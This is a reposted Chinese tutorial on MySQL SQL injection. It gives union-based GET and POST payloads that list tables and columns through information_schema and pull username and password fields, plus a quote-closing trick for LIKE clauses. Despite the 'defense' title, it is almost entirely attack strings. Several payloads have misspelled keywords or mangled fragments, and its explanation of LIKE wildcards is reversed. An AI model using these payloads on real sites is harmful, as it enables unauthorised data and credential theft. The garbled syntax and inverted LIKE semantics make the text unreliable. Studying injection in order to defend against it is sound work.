栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

SQL渗透与防御——(二)SQL注入

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

SQL渗透与防御——(二)SQL注入

第二章 SQL注入

1.SQL注入基础

1. MySQL base2.SQL Injection 2.GET类型3.POST类型

1.SQL注入基础 1. MySQL base

系统库释意

**information_schema库:**是信息数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息,比如数据库名,数据库表,表字段的数据类型与访问权限等。**SCHEMATA表:**提供了当前MySQL实例中所有的数据库信息,show database结果取之此表。**TABLES表:**提供了关于数据中表的信息。**COLUMNS表:**详细描述了某张表所有列的信息。**mysql库:**MySQL的核心数据库,主要负责存储数据库的用户、权限设置、关键字等mysql控制和管理信息。**performance_schema库:**内存数据库,数据放在内存中直接操作的数据库,相对于磁盘,内存的数据读写速度要高出几个数量级。**sys库:**调用这个数据库数据库,可以查询谁使用了最多的资源基于IP或是用户,哪张表被访问过最多等信息。 2.SQL Injection

    **web程序三层架构: **

    界面层:用户与前端交互

    业务逻辑层:前后端交互

    数据访问层:后端与数据库交互 SQL注入发生处

    简易原理

    SELECt * FROM t1 WHERe ID=%s;
    SELECt * FROM t1 WHERe name=%s;
    假设用户传入的ID或name值为真,比如***1 or 1 = 1***则……产生注入
    实际上执行的SQL语句为:SELECt * FROM t1 WHERe id=1 OR 1=1;
    注意闭合单引号和注释掉后面语句。

    基础语法
    SQL语法

2.GET类型

union联合查询注入

134 ' union select 1,2,3,4 -- 最后有空格,注释掉源码中后面的语句
其中1,2,3,4由SQL字段个数决定,可以直接或由134' order by 4 --试出。

134' union sellect 1,user(),version(),database() --替换其中的字段为user()、database()之类的,注意数据类型(对应位置字段替换前后数据类型要一致)。

134' union select 1,database(),table_name,4 from information_schema.tables where table_schema=database() --
利用information_schema库中的tables来查询database()库中存在的表名。

134' union select 1,database(),column_name,4 from information_schema.columns where table_name='user' and table_schema=database() --
利用information_schema库中的columns来查询database()库中存在的表(例如user)中的字段名。

134' union select 1,username,passwd,4 froom user --
利用查询到的字段名(例如username,passwd)替换起初union查询语句,得到值。

3.POST类型

注意看页面源码,筛查有用信息。

Request Method:POST
Form Data(参数)
	movie:1
	action:go
两个参数即为注入点

    如果源码语句只显示一条结果,则先使原参数值为数据库中不存在的值,例如movie取值1~10,这里使其为11;

    然后使用GROUP_CONCAt()函数:

    11 union select 1,user(),database(),4GTOUP_CONCAt(table_name),6,7 from information_schema.tables where table_schema=database() --


找到需要的表名,如users;

    11 union select 1,user(),database(),4GTOUP_CONCAt(column_name),6,7 from information_schema.columns where table_name='users' --
    11 union select 1,GROUP_CONCAt(login),GROUP_CONCAt(password),4GTOUP_CONCAt(table_name),GROUP_CONCAt(admin),7 from users --

like

如果用a' or '1'='1无果,则源码可能是用了like

like %book	//以book开头的值
like book%	//以book结尾的值
like %book%	//包含book的值


那么需要闭合%
a%' or '1'='1' --

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/750642.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号